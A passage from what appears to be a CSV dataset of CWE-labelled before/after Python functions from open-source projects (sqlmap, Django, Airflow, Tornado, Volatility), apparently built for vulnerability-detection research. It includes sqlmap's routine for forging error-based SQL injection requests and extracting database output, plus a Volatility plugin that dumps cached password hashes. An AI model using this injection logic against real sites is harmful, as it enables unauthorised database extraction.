threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)
if trimmed:
if not chunkTest:
warnMsg = ""possible server trimmed output detected ""
warnMsg += ""(due to its length and/or content): ""
warnMsg += safecharencode(trimmed)
logger.warn(warnMsg)
if not kb.testMode:
check = r""(?P[^<>\n]*?)%s"" % kb.chars.stop[:2]
output = extractRegexResult(check, trimmed, re.IGNORECASE)
if not output:
check = ""(?P[^\s<>'\""]+)""
output = extractRegexResult(check, trimmed, re.IGNORECASE)
else:
output = output.rstrip()
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)):
if offset == 1:
retVal = output
else:
retVal += output if output else ''
if output and kb.errorChunkLength and len(output) >= kb.errorChunkLength and not chunkTest:
offset += kb.errorChunkLength
else:
break
if output and conf.verbose in (1, 2) and not conf.api:
if kb.fileReadMode:
dataToStdout(_formatPartialContent(output).replace(r""\n"", ""\n"").replace(r""\t"", ""\t""))
elif offset > 1:
rotator += 1
if rotator >= len(ROTATING_CHARS):
rotator = 0
dataToStdout(""\r%s\r"" % ROTATING_CHARS[rotator])
else:
retVal = output
break
except:
if retVal is not None:
hashDBWrite(expression, ""%s%s"" % (retVal, PARTIAL_VALUE_MARKER))
raise
retVal = decodeHexValue(retVal) if conf.hexConvert else retVal
if isinstance(retVal, basestring):
retVal = htmlunescape(retVal).replace("" "", ""\n"")
retVal = _errorReplaceChars(retVal)
if retVal is not None:
hashDBWrite(expression, retVal)
else:
_ = ""%s(?P.*?)%s"" % (kb.chars.start, kb.chars.stop)
retVal = extractRegexResult(_, retVal, re.DOTALL | re.IGNORECASE) or retVal
return safecharencode(retVal) if kb.safeCharEncode else retVal",,sqlmapproject/sqlmap,ebbc68853d0eaac96a7802087c7546450665b784,"def _oneShotErrorUse(expression, field=None, chunkTest=False):
offset = 1
rotator = 0
partialValue = None
threadData = getCurrentThreadData()
retVal = hashDBRetrieve(expression, checkConf=True)
if retVal and PARTIAL_VALUE_MARKER in retVal:
partialValue = retVal = retVal.replace(PARTIAL_VALUE_MARKER, """")
logger.info(""resuming partial value: '%s'"" % _formatPartialContent(partialValue))
offset += len(partialValue)
threadData.resumed = retVal is not None and not partialValue
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and kb.errorChunkLength is None and not chunkTest and not kb.testMode:
debugMsg = ""searching for error chunk length...""
logger.debug(debugMsg)
current = MAX_ERROR_CHUNK_LENGTH
while current >= MIN_ERROR_CHUNK_LENGTH:
testChar = str(current % 10)
testQuery = ""SELECT %s('%s',%d)"" % (""REPEAT"" if Backend.isDbms(DBMS.MYSQL) else ""REPLICATE"", testChar, current)
result = unArrayizeValue(_oneShotErrorUse(testQuery, chunkTest=True))
if (result or """").startswith(testChar):
if result == testChar * current:
kb.errorChunkLength = current
break
else:
result = re.search(r""\A\w+"", result).group(0)
candidate = len(result) - len(kb.chars.stop)
current = candidate if candidate != current else current - 1
else:
current = current / 2
if kb.errorChunkLength:
hashDBWrite(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH, kb.errorChunkLength)
else:
kb.errorChunkLength = 0
if retVal is None or partialValue:
try:
while True:
check = r""%s(?P.*?)%s"" % (kb.chars.start, kb.chars.stop)
trimcheck = r""%s(?P[^<\n]*)"" % (kb.chars.start)
if field:
nulledCastedField = agent.nullAndCastField(field)
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and not any(_ in field for _ in (""COUNT"", ""CASE"")) and kb.errorChunkLength and not chunkTest:
extendedField = re.search(r""[^ ,]*%s[^ ,]*"" % re.escape(field), expression).group(0)
if extendedField != field: # e.g. MIN(surname)
nulledCastedField = extendedField.replace(field, nulledCastedField)
field = extendedField
nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, kb.errorChunkLength)
# Forge the error-based SQL injection request
vector = kb.injection.data[kb.technique].vector
query = agent.prefixQuery(vector)
query = agent.suffixQuery(query)
injExpression = expression.replace(field, nulledCastedField, 1) if field else expression
injExpression = unescaper.escape(injExpression)
injExpression = query.replace(""[QUERY]"", injExpression)
payload = agent.payload(newValue=injExpression)
# Perform the request
page, headers = Request.queryPage(payload, content=True, raise404=False)
incrementCounter(kb.technique)
if page and conf.noEscape:
page = re.sub(r""('|\%%27)%s('|\%%27).*?('|\%%27)%s('|\%%27)"" % (kb.chars.start, kb.chars.stop), """", page)
# Parse the returned page to get the exact error-based
# SQL injection output
output = reduce(lambda x, y: x if x is not None else y, (\
extractRegexResult(check, page, re.DOTALL | re.IGNORECASE), \
extractRegexResult(check, listToStrValue([headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()] \
if headers else None), re.DOTALL | re.IGNORECASE), \
extractRegexResult(check, threadData.lastRedirectMsg[1] \
if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \
threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)), \
None)
if output is not None:
output = getUnicode(output)
else:
trimmed = extractRegexResult(trimcheck, page, re.DOTALL | re.IGNORECASE) \
or extractRegexResult(trimcheck, listToStrValue([headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()] \
if headers else None), re.DOTALL | re.IGNORECASE) \
or extractRegexResult(trimcheck, threadData.lastRedirectMsg[1] \
if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \
threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)
if trimmed:
if not chunkTest:
warnMsg = ""possible server trimmed output detected ""
warnMsg += ""(due to its length and/or content): ""
warnMsg += safecharencode(trimmed)
logger.warn(warnMsg)
if not kb.testMode:
check = r""(?P[^<>\n]*?)%s"" % kb.chars.stop[:2]
output = extractRegexResult(check, trimmed, re.IGNORECASE)
if not output:
check = ""(?P[^\s<>'\""]+)""
output = extractRegexResult(check, trimmed, re.IGNORECASE)
else:
output = output.rstrip()
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)):
if offset == 1:
retVal = output
else:
retVal += output if output else ''
if output and kb.errorChunkLength and len(output) >= kb.errorChunkLength and not chunkTest:
offset += kb.errorChunkLength
else:
break
if output:
if kb.fileReadMode:
dataToStdout(_formatPartialContent(output).replace(r""\n"", ""\n"").replace(r""\t"", ""\t""))
elif offset > 1:
rotator += 1
if rotator >= len(ROTATING_CHARS):
rotator = 0
dataToStdout(""\r%s\r"" % ROTATING_CHARS[rotator])
else:
retVal = output
break
except:
if retVal is not None:
hashDBWrite(expression, ""%s%s"" % (retVal, PARTIAL_VALUE_MARKER))
raise
retVal = decodeHexValue(retVal) if conf.hexConvert else retVal
if isinstance(retVal, basestring):
retVal = htmlunescape(retVal).replace("" "", ""\n"")
retVal = _errorReplaceChars(retVal)
if retVal is not None:
hashDBWrite(expression, retVal)
else:
_ = ""%s(?P.*?)%s"" % (kb.chars.start, kb.chars.stop)
retVal = extractRegexResult(_, retVal, re.DOTALL | re.IGNORECASE) or retVal
return safecharencode(retVal) if kb.safeCharEncode else retVal"
,UNKNOWN,UNKNOWN,django/contrib/gis/tests/inspectapp/tests.py,1,"def get_ogr_db_string():
""""""
Construct the DB string that GDAL will use to inspect the database.
GDAL will create its own connection to the database, so we re-use the
connection settings from the Django test.
""""""
db = connections.databases['default']
# Map from the django backend into the OGR driver name and database identifier
# http://www.gdal.org/ogr/ogr_formats.html
#
# TODO: Support Oracle (OCI).
drivers = {
'django.contrib.gis.db.backends.postgis': ('PostgreSQL', ""PG:dbname='%(db_name)s'"", ' '),
'django.contrib.gis.db.backends.mysql': ('MySQL', 'MYSQL:""%(db_name)s""', ','),
'django.contrib.gis.db.backends.spatialite': ('SQLite', '%(db_name)s', '')
}
drv_name, db_str, param_sep = drivers[db['ENGINE']]
# Ensure that GDAL library has driver support for the database.
try:
Driver(drv_name)
except:
return None
# SQLite/Spatialite in-memory databases
if db['NAME'] == "":memory:"":
return None
# Build the params of the OGR database connection string
params = [db_str % {'db_name': db['NAME']}]
def add(key, template):
value = db.get(key, None)
# Don't add the parameter if it is not in django's settings
if value:
params.append(template % value)
add('HOST', ""host='%s'"")
add('PORT', ""port='%s'"")
add('USER', ""user='%s'"")
add('PASSWORD', ""password='%s'"")
return param_sep.join(params)",CWE-259,django/django,c3aa2948c6c14862407501290571f858ccf45b07,"def get_ogr_db_string():
""""""
Construct the DB string that GDAL will use to inspect the database.
GDAL will create its own connection to the database, so we re-use the
connection settings from the Django test.
""""""
db = connections.databases['default']
# Map from the django backend into the OGR driver name and database identifier
# http://www.gdal.org/ogr/ogr_formats.html
#
# TODO: Support Oracle (OCI).
drivers = {
'django.contrib.gis.db.backends.postgis': ('PostgreSQL', ""PG:dbname='%(db_name)s'"", ' '),
'django.contrib.gis.db.backends.mysql': ('MySQL', 'MYSQL:""%(db_name)s""', ','),
'django.contrib.gis.db.backends.spatialite': ('SQLite', '%(db_name)s', '')
}
drv_name, db_str, param_sep = drivers[db['ENGINE']]
# Ensure that GDAL library has driver support for the database.
try:
Driver(drv_name)
except:
return None
# SQLite/Spatialite in-memory databases
if db['NAME'] == "":memory:"":
return None
# Build the params of the OGR database connection string
params = [db_str % {'db_name': db['NAME']}]
def add(key, template):
value = db.get(key, None)
# Don't add the parameter if it is not in django's settings
if value:
params.append(template % value)
add('HOST', ""host='%s'"")
add('PORT', ""port='%s'"")
add('USER', ""user='%s'"")
add('PASSWORD', ""password='%s'"")
return param_sep.join(params)"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/models.py,0,"def get_template_context(self, session=None):
task = self.task
from airflow import macros
tables = None
if 'tables' in task.params:
tables = task.params['tables']
ds = self.execution_date.isoformat()[:10]
ts = self.execution_date.isoformat()
yesterday_ds = (self.execution_date - timedelta(1)).isoformat()[:10]
tomorrow_ds = (self.execution_date + timedelta(1)).isoformat()[:10]
ds_nodash = ds.replace('-', '')
ts_nodash = ts.replace('-', '').replace(':', '')
yesterday_ds_nodash = yesterday_ds.replace('-', '')
tomorrow_ds_nodash = tomorrow_ds.replace('-', '')
ti_key_str = ""{task.dag_id}__{task.task_id}__{ds_nodash}""
ti_key_str = ti_key_str.format(**locals())
params = {}
run_id = ''
dag_run = None
if hasattr(task, 'dag'):
if task.dag.params:
params.update(task.dag.params)
dag_run = (
session.query(DagRun)
.filter_by(
dag_id=task.dag.dag_id,
execution_date=self.execution_date)
.first()
)
run_id = dag_run.run_id if dag_run else None
session.expunge_all()
session.commit()
if task.params:
params.update(task.params)
return {
'dag': task.dag,
'ds': ds,
'ds_nodash': ds_nodash,
'ts': ts,
'ts_nodash': ts_nodash,
'yesterday_ds': yesterday_ds,
'yesterday_ds_nodash': yesterday_ds_nodash,
'tomorrow_ds': tomorrow_ds,
'tomorrow_ds_nodash': tomorrow_ds_nodash,
'END_DATE': ds,
'end_date': ds,
'dag_run': dag_run,
'run_id': run_id,
'execution_date': self.execution_date,
'latest_date': ds,
'macros': macros,
'params': params,
'tables': tables,
'task': task,
'task_instance': self,
'ti': self,
'task_instance_key_str': ti_key_str,
'conf': configuration,
'test_mode': self.test_mode,
}",CWE-Unknown,apache/airflow,6085f15b03caa6f5364318ed992ef898a20473b7,"def get_template_context(self, session=None):
task = self.task
from airflow import macros
tables = None
if 'tables' in task.params:
tables = task.params['tables']
ds = self.execution_date.isoformat()[:10]
ts = self.execution_date.isoformat()
yesterday_ds = (self.execution_date - timedelta(1)).isoformat()[:10]
tomorrow_ds = (self.execution_date + timedelta(1)).isoformat()[:10]
ds_nodash = ds.replace('-', '')
ts_nodash = ts.replace('-', '').replace(':', '')
yesterday_ds_nodash = yesterday_ds.replace('-', '')
tomorrow_ds_nodash = tomorrow_ds.replace('-', '')
ti_key_str = ""{task.dag_id}__{task.task_id}__{ds_nodash}""
ti_key_str = ti_key_str.format(**locals())
params = {}
run_id = ''
dag_run = None
if hasattr(task, 'dag'):
if task.dag.params:
params.update(task.dag.params)
dag_run = (
session.query(DagRun)
.filter_by(
dag_id=task.dag.dag_id,
execution_date=self.execution_date)
.first()
)
run_id = dag_run.run_id if dag_run else None
session.expunge_all()
session.commit()
if task.params:
params.update(task.params)
return {
'dag': task.dag,
'ds': ds,
'ts': ts,
'ts_nodash': ts_nodash,
'yesterday_ds': yesterday_ds,
'tomorrow_ds': tomorrow_ds,
'END_DATE': ds,
'ds_nodash': ds_nodash,
'end_date': ds,
'dag_run': dag_run,
'run_id': run_id,
'execution_date': self.execution_date,
'latest_date': ds,
'macros': macros,
'params': params,
'tables': tables,
'task': task,
'task_instance': self,
'ti': self,
'task_instance_key_str': ti_key_str,
'conf': configuration,
'test_mode': self.test_mode,
}"
functions_for_paramiko_with_cwe.csv,UNKNOWN,UNKNOWN,paramiko/channel.py,0,"def shutdown_write(self):
""""""
Shutdown the sending side of this socket, closing the stream in
the outgoing direction. After this call, future writes on this
channel will fail instantly. This is a convenience method, equivalent
to ``shutdown(1)``, for people who don't make it a habit to
memorize unix constants from the 1970s.
.. versionadded:: 1.2
""""""
self.shutdown(1)",,paramiko/paramiko,94ae8ffb36d0a7bbaf402573eff560da1997f84f,"def shutdown_write(self):
""""""
Shutdown the sending side of this socket, closing the stream in
the outgoing direction. After this call, future writes on this
channel will fail instantly. This is a convenience method, equivalent
to ``shutdown(1)``, for people who don't make it a habit to
memorize unix constants from the 1970s.
.. versionadded:: 1.2
""""""
self.shutdown(1)"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/core/option.py,0,"def _setKnowledgeBaseAttributes(flushAll=True):
""""""
This function set some needed attributes into the knowledge base
singleton.
""""""
debugMsg = ""initializing the knowledge base""
logger.debug(debugMsg)
kb.absFilePaths = set()
kb.adjustTimeDelay = None
kb.alerted = False
kb.aliasName = randomStr()
kb.alwaysRefresh = None
kb.arch = None
kb.authHeader = None
kb.bannerFp = AttribDict()
kb.base64Originals = {}
kb.binaryField = False
kb.browserVerification = None
kb.brute = AttribDict({""tables"": [], ""columns"": []})
kb.bruteMode = False
kb.cache = AttribDict()
kb.cache.addrinfo = {}
kb.cache.content = {}
kb.cache.encoding = {}
kb.cache.alphaBoundaries = None
kb.cache.hashRegex = None
kb.cache.intBoundaries = None
kb.cache.parsedDbms = {}
kb.cache.regex = {}
kb.cache.stdev = {}
kb.captchaDetected = None
kb.chars = AttribDict()
kb.chars.delimiter = randomStr(length=6, lowercase=True)
kb.chars.start = ""%s%s%s"" % (KB_CHARS_BOUNDARY_CHAR, randomStr(length=3, alphabet=KB_CHARS_LOW_FREQUENCY_ALPHABET), KB_CHARS_BOUNDARY_CHAR)
kb.chars.stop = ""%s%s%s"" % (KB_CHARS_BOUNDARY_CHAR, randomStr(length=3, alphabet=KB_CHARS_LOW_FREQUENCY_ALPHABET), KB_CHARS_BOUNDARY_CHAR)
kb.chars.at, kb.chars.space, kb.chars.dollar, kb.chars.hash_ = (""%s%s%s"" % (KB_CHARS_BOUNDARY_CHAR, _, KB_CHARS_BOUNDARY_CHAR) for _ in randomStr(length=4, lowercase=True))
kb.codePage = None
kb.columnExistsChoice = None
kb.commonOutputs = None
kb.connErrorChoice = None
kb.connErrorCounter = 0
kb.cookieEncodeChoice = None
kb.copyExecTest = None
kb.counters = {}
kb.customInjectionMark = CUSTOM_INJECTION_MARK_CHAR
kb.data = AttribDict()
kb.dataOutputFlag = False
# Active back-end DBMS fingerprint
kb.dbms = None
kb.dbmsFilter = []
kb.dbmsVersion = [UNKNOWN_DBMS_VERSION]
kb.delayCandidates = TIME_DELAY_CANDIDATES * [0]
kb.dep = None
kb.disableHtmlDecoding = False
kb.dnsMode = False
kb.dnsTest = None
kb.docRoot = None
kb.droppingRequests = False
kb.dumpColumns = None
kb.dumpTable = None
kb.dumpKeyboardInterrupt = False
kb.dynamicMarkings = []
kb.dynamicParameter = False
kb.endDetection = False
kb.explicitSettings = set()
kb.extendTests = None
kb.errorChunkLength = None
kb.errorIsNone = True
kb.falsePositives = []
kb.fileReadMode = False
kb.fingerprinted = False
kb.followSitemapRecursion = None
kb.forcedDbms = None
kb.forcePartialUnion = False
kb.forceThreads = None
kb.forceWhere = None
kb.forkNote = None
kb.futileUnion = None
kb.fuzzUnionTest = None
kb.heavilyDynamic = False
kb.headersFile = None
kb.headersFp = {}
kb.heuristicDbms = None
kb.heuristicExtendedDbms = None
kb.heuristicMode = False
kb.heuristicPage = False
kb.heuristicTest = None
kb.hintValue = """"
kb.htmlFp = []
kb.httpErrorCodes = {}
kb.inferenceMode = False
kb.ignoreCasted = None
kb.ignoreNotFound = False
kb.ignoreTimeout = False
kb.identifiedWafs = set()
kb.injection = InjectionDict()
kb.injections = []
kb.jsonAggMode = False
kb.laggingChecked = False
kb.lastParserStatus = None
kb.locks = AttribDict()
for _ in (""cache"", ""connError"", ""count"", ""handlers"", ""hint"", ""index"", ""io"", ""limit"", ""liveCookies"", ""log"", ""socket"", ""redirect"", ""request"", ""value""):
kb.locks[_] = threading.Lock()
kb.matchRatio = None
kb.maxConnectionsFlag = False
kb.mergeCookies = None
kb.multipleCtrlC = False
kb.negativeLogic = False
kb.nchar = True
kb.nullConnection = None
kb.oldMsf = None
kb.orderByColumns = None
kb.originalCode = None
kb.originalPage = None
kb.originalPageTime = None
kb.originalTimeDelay = None
kb.originalUrls = dict()
# Back-end DBMS underlying operating system fingerprint via banner (-b)
# parsing
kb.os = None
kb.osVersion = None
kb.osSP = None
kb.pageCompress = True
kb.pageTemplate = None
kb.pageTemplates = dict()
kb.pageEncoding = DEFAULT_PAGE_ENCODING
kb.pageStable = None
kb.partRun = None
kb.permissionFlag = False
kb.postHint = None
kb.postSpaceToPlus = False
kb.postUrlEncode = True
kb.prependFlag = False
kb.processResponseCounter = 0
kb.previousMethod = None
kb.processUserMarks = None
kb.proxyAuthHeader = None
kb.queryCounter = 0
kb.randomPool = {}
kb.redirectChoice = None
kb.reflectiveMechanism = True
kb.reflectiveCounters = {REFLECTIVE_COUNTER.MISS: 0, REFLECTIVE_COUNTER.HIT: 0}
kb.requestCounter = 0
kb.resendPostOnRedirect = None
kb.resolutionDbms = None
kb.responseTimes = {}
kb.responseTimeMode = None
kb.responseTimePayload = None
kb.resumeValues = True
kb.safeCharEncode = False
kb.safeReq = AttribDict()
kb.secondReq = None
kb.serverHeader = None
kb.singleLogFlags = set()
kb.skipSeqMatcher = False
kb.smokeMode = False
kb.reduceTests = None
kb.sslSuccess = False
kb.stickyDBMS = False
kb.storeHashesChoice = None
kb.suppressResumeInfo = False
kb.tableExistsChoice = None
kb.tableFrom = None
kb.technique = None
kb.tempDir = None
kb.testMode = False
kb.testOnlyCustom = False
kb.testQueryCount = 0
kb.testType = None
kb.threadContinue = True
kb.threadException = False
kb.tlsSNI = {}
kb.uChar = NULL
kb.udfFail = False
kb.unionDuplicates = False
kb.unionTemplate = None
kb.webSocketRecvCount = None
kb.wizardMode = False
kb.xpCmdshellAvailable = False
if flushAll:
kb.checkSitemap = None
kb.headerPaths = {}
kb.keywords = set(getFileItems(paths.SQL_KEYWORDS))
kb.lastCtrlCTime = None
kb.normalizeCrawlingChoice = None
kb.passwordMgr = None
kb.postprocessFunctions = []
kb.preprocessFunctions = []
kb.skipVulnHost = None
kb.storeCrawlingChoice = None
kb.tamperFunctions = []
kb.targets = OrderedSet()
kb.testedParams = set()
kb.userAgents = None
kb.vainRun = True
kb.vulnHosts = set()
kb.wafFunctions = []
kb.wordlists = None",,sqlmapproject/sqlmap,78ba33737ef06cecdee019cad56ffda267d191ee,"def _setKnowledgeBaseAttributes(flushAll=True):
""""""
This function set some needed attributes into the knowledge base
singleton.
""""""
debugMsg = ""initializing the knowledge base""
logger.debug(debugMsg)
kb.absFilePaths = set()
kb.adjustTimeDelay = None
kb.alerted = False
kb.aliasName = randomStr()
kb.alwaysRefresh = None
kb.arch = None
kb.authHeader = None
kb.bannerFp = AttribDict()
kb.base64Originals = {}
kb.binaryField = False
kb.browserVerification = None
kb.brute = AttribDict({""tables"": [], ""columns"": []})
kb.bruteMode = False
kb.cache = AttribDict()
kb.cache.addrinfo = {}
kb.cache.content = {}
kb.cache.encoding = {}
kb.cache.alphaBoundaries = None
kb.cache.hashRegex = None
kb.cache.intBoundaries = None
kb.cache.parsedDbms = {}
kb.cache.regex = {}
kb.cache.stdev = {}
kb.captchaDetected = None
kb.chars = AttribDict()
kb.chars.delimiter = randomStr(length=6, lowercase=True)
kb.chars.start = ""%s%s%s"" % (KB_CHARS_BOUNDARY_CHAR, randomStr(length=3, alphabet=KB_CHARS_LOW_FREQUENCY_ALPHABET), KB_CHARS_BOUNDARY_CHAR)
kb.chars.stop = ""%s%s%s"" % (KB_CHARS_BOUNDARY_CHAR, randomStr(length=3, alphabet=KB_CHARS_LOW_FREQUENCY_ALPHABET), KB_CHARS_BOUNDARY_CHAR)
kb.chars.at, kb.chars.space, kb.chars.dollar, kb.chars.hash_ = (""%s%s%s"" % (KB_CHARS_BOUNDARY_CHAR, _, KB_CHARS_BOUNDARY_CHAR) for _ in randomStr(length=4, lowercase=True))
kb.codePage = None
kb.columnExistsChoice = None
kb.commonOutputs = None
kb.connErrorChoice = None
kb.connErrorCounter = 0
kb.cookieEncodeChoice = None
kb.copyExecTest = None
kb.counters = {}
kb.customInjectionMark = CUSTOM_INJECTION_MARK_CHAR
kb.data = AttribDict()
kb.dataOutputFlag = False
# Active back-end DBMS fingerprint
kb.dbms = None
kb.dbmsFilter = []
kb.dbmsVersion = [UNKNOWN_DBMS_VERSION]
kb.delayCandidates = TIME_DELAY_CANDIDATES * [0]
kb.dep = None
kb.disableHtmlDecoding = False
kb.dnsMode = False
kb.dnsTest = None
kb.docRoot = None
kb.droppingRequests = False
kb.dumpColumns = None
kb.dumpTable = None
kb.dumpKeyboardInterrupt = False
kb.dynamicMarkings = []
kb.dynamicParameter = False
kb.endDetection = False
kb.explicitSettings = set()
kb.extendTests = None
kb.errorChunkLength = None
kb.errorIsNone = True
kb.falsePositives = []
kb.fileReadMode = False
kb.fingerprinted = False
kb.followSitemapRecursion = None
kb.forcedDbms = None
kb.forcePartialUnion = False
kb.forceThreads = None
kb.forceWhere = None
kb.forkNote = None
kb.futileUnion = None
kb.fuzzUnionTest = None
kb.heavilyDynamic = False
kb.headersFile = None
kb.headersFp = {}
kb.heuristicDbms = None
kb.heuristicExtendedDbms = None
kb.heuristicMode = False
kb.heuristicPage = False
kb.heuristicTest = None
kb.hintValue = """"
kb.htmlFp = []
kb.httpErrorCodes = {}
kb.inferenceMode = False
kb.ignoreCasted = None
kb.ignoreNotFound = False
kb.ignoreTimeout = False
kb.identifiedWafs = set()
kb.injection = InjectionDict()
kb.injections = []
kb.jsonAggMode = False
kb.laggingChecked = False
kb.lastParserStatus = None
kb.locks = AttribDict()
for _ in (""cache"", ""connError"", ""count"", ""handlers"", ""hint"", ""index"", ""io"", ""limit"", ""liveCookies"", ""log"", ""socket"", ""redirect"", ""request"", ""value""):
kb.locks[_] = threading.Lock()
kb.matchRatio = None
kb.maxConnectionsFlag = False
kb.mergeCookies = None
kb.multipleCtrlC = False
kb.negativeLogic = False
kb.nullConnection = None
kb.oldMsf = None
kb.orderByColumns = None
kb.originalCode = None
kb.originalPage = None
kb.originalPageTime = None
kb.originalTimeDelay = None
kb.originalUrls = dict()
# Back-end DBMS underlying operating system fingerprint via banner (-b)
# parsing
kb.os = None
kb.osVersion = None
kb.osSP = None
kb.pageCompress = True
kb.pageTemplate = None
kb.pageTemplates = dict()
kb.pageEncoding = DEFAULT_PAGE_ENCODING
kb.pageStable = None
kb.partRun = None
kb.permissionFlag = False
kb.postHint = None
kb.postSpaceToPlus = False
kb.postUrlEncode = True
kb.prependFlag = False
kb.processResponseCounter = 0
kb.previousMethod = None
kb.processUserMarks = None
kb.proxyAuthHeader = None
kb.queryCounter = 0
kb.randomPool = {}
kb.redirectChoice = None
kb.reflectiveMechanism = True
kb.reflectiveCounters = {REFLECTIVE_COUNTER.MISS: 0, REFLECTIVE_COUNTER.HIT: 0}
kb.requestCounter = 0
kb.resendPostOnRedirect = None
kb.resolutionDbms = None
kb.responseTimes = {}
kb.responseTimeMode = None
kb.responseTimePayload = None
kb.resumeValues = True
kb.safeCharEncode = False
kb.safeReq = AttribDict()
kb.secondReq = None
kb.serverHeader = None
kb.singleLogFlags = set()
kb.skipSeqMatcher = False
kb.smokeMode = False
kb.reduceTests = None
kb.sslSuccess = False
kb.stickyDBMS = False
kb.storeHashesChoice = None
kb.suppressResumeInfo = False
kb.tableExistsChoice = None
kb.tableFrom = None
kb.technique = None
kb.tempDir = None
kb.testMode = False
kb.testOnlyCustom = False
kb.testQueryCount = 0
kb.testType = None
kb.threadContinue = True
kb.threadException = False
kb.tlsSNI = {}
kb.uChar = NULL
kb.udfFail = False
kb.unionDuplicates = False
kb.unionTemplate = None
kb.webSocketRecvCount = None
kb.wizardMode = False
kb.xpCmdshellAvailable = False
if flushAll:
kb.checkSitemap = None
kb.headerPaths = {}
kb.keywords = set(getFileItems(paths.SQL_KEYWORDS))
kb.lastCtrlCTime = None
kb.normalizeCrawlingChoice = None
kb.passwordMgr = None
kb.postprocessFunctions = []
kb.preprocessFunctions = []
kb.skipVulnHost = None
kb.storeCrawlingChoice = None
kb.tamperFunctions = []
kb.targets = OrderedSet()
kb.testedParams = set()
kb.userAgents = None
kb.vainRun = True
kb.vulnHosts = set()
kb.wafFunctions = []
kb.wordlists = None"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/test/httpclient_test.py,0,"def test_redirect_without_location(self):
response = self.fetch(""/redirect_without_location"", follow_redirects=True)
# If there is no location header, the redirect response should
# just be returned as-is. (This should arguably raise an
# error, but libcurl doesn't treat this as an error, so we
# don't either).
self.assertEqual(301, response.code)",CWE-Unknown,tornadoweb/tornado,4f486a4aec746e9d66441600ee3b0743228b061c,"def test_redirect_without_location(self):
response = self.fetch(""/redirect_without_location"", follow_redirects=True)
# If there is no location header, the redirect response should
# just be returned as-is. (This should arguably raise an
# error, but libcurl doesn't treat this as an error, so we
# don't either).
self.assertEqual(301, response.code)"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/registry/lsadump.py,0,"def calculate(self):
addr_space = utils.load_as(self._config)
if not self._config.sys_offset or not self._config.sec_offset:
regapi = registryapi.RegistryApi(self._config)
for offset in regapi.all_offsets:
name = regapi.all_offsets[offset].lower().split(""\\"")[-1]
if ""system"" == name:
self._config.update(""SYS_OFFSET"", offset)
elif ""security"" == name:
self._config.update(""SEC_OFFSET"", offset)
hashes = domcachedumpmod.dump_memory_hashes(addr_space, self._config, self._config.sys_offset, self._config.sec_offset)
if hashes == None:
debug.error(""Unable to read hashes from registry"")
return hashes",,volatilityfoundation/volatility,58ce54d3f1438fb16acff14035ed98c2d098d2d5,"def calculate(self):
addr_space = utils.load_as(self._config)
if not self._config.sys_offset or not self._config.sec_offset:
regapi = registryapi.RegistryApi(self._config)
for offset in regapi.all_offsets:
name = regapi.all_offsets[offset].lower().split(""\\"")[-1]
if ""system"" == name:
self._config.update(""SYS_OFFSET"", offset)
elif ""security"" == name:
self._config.update(""SEC_OFFSET"", offset)
hashes = domcachedumpmod.dump_memory_hashes(addr_space, self._config, self._config.sys_offset, self._config.sec_offset)
if hashes == None:
debug.error(""Unable to read hashes from registry"")"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/db/migrations/writer.py,0,"def serialize(cls, value):
""""""
Serializes the value to a string that's parsable by Python, along
with any needed imports to make that string work.
More advanced than repr() as it can encode things
like datetime.datetime.now.
""""""
# Sequences
if isinstance(value, (list, set, tuple)):
imports = set()
strings = []
for item in value:
item_string, item_imports = cls.serialize(item)
imports.update(item_imports)
strings.append(item_string)
if isinstance(value, set):
format = ""set([%s])""
elif isinstance(value, tuple):
format = ""(%s,)""
else:
format = ""[%s]""
return format % ("", "".join(strings)), imports
# Dictionaries
elif isinstance(value, dict):
imports = set()
strings = []
for k, v in value.items():
k_string, k_imports = cls.serialize(k)
v_string, v_imports = cls.serialize(v)
imports.update(k_imports)
imports.update(v_imports)
strings.append((k_string, v_string))
return ""{%s}"" % ("", "".join([""%s: %s"" % (k, v) for k, v in strings])), imports
# Datetimes
elif isinstance(value, (datetime.datetime, datetime.date)):
return repr(value), set([""import datetime""])
# Simple types
elif isinstance(value, six.integer_types + (float, six.binary_type, six.text_type, bool, type(None))):
return repr(value), set()
# Django fields
elif isinstance(value, models.Field):
attr_name, path, args, kwargs = value.deconstruct()
module, name = path.rsplit(""."", 1)
if module == ""django.db.models"":
imports = set([""from django.db import models""])
name = ""models.%s"" % name
else:
imports = set([""import %s"" % module])
name = path
arg_strings = []
for arg in args:
arg_string, arg_imports = cls.serialize(arg)
arg_strings.append(arg_string)
imports.update(arg_imports)
for kw, arg in kwargs.items():
arg_string, arg_imports = cls.serialize(arg)
imports.update(arg_imports)
arg_strings.append(""%s=%s"" % (kw, arg_string))
return ""%s(%s)"" % (name, "", "".join(arg_strings)), imports
# Functions
elif isinstance(value, (types.FunctionType, types.BuiltinFunctionType)):
# Special-cases, as these don't have im_class
special_cases = [
(datetime.datetime.now, ""datetime.datetime.now"", [""import datetime""]),
(datetime.datetime.utcnow, ""datetime.datetime.utcnow"", [""import datetime""]),
(datetime.date.today, ""datetime.date.today"", [""import datetime""]),
]
for func, string, imports in special_cases:
if func == value: # For some reason ""utcnow is not utcnow""
return string, set(imports)
# Method?
if hasattr(value, ""im_class""):
klass = value.im_class
module = klass.__module__
return ""%s.%s.%s"" % (module, klass.__name__, value.__name__), set([""import %s"" % module])
else:
module = value.__module__
if module is None:
raise ValueError(""Cannot serialize function %r: No module"" % value)
return ""%s.%s"" % (module, value.__name__), set([""import %s"" % module])
# Classes
elif isinstance(value, type):
special_cases = [
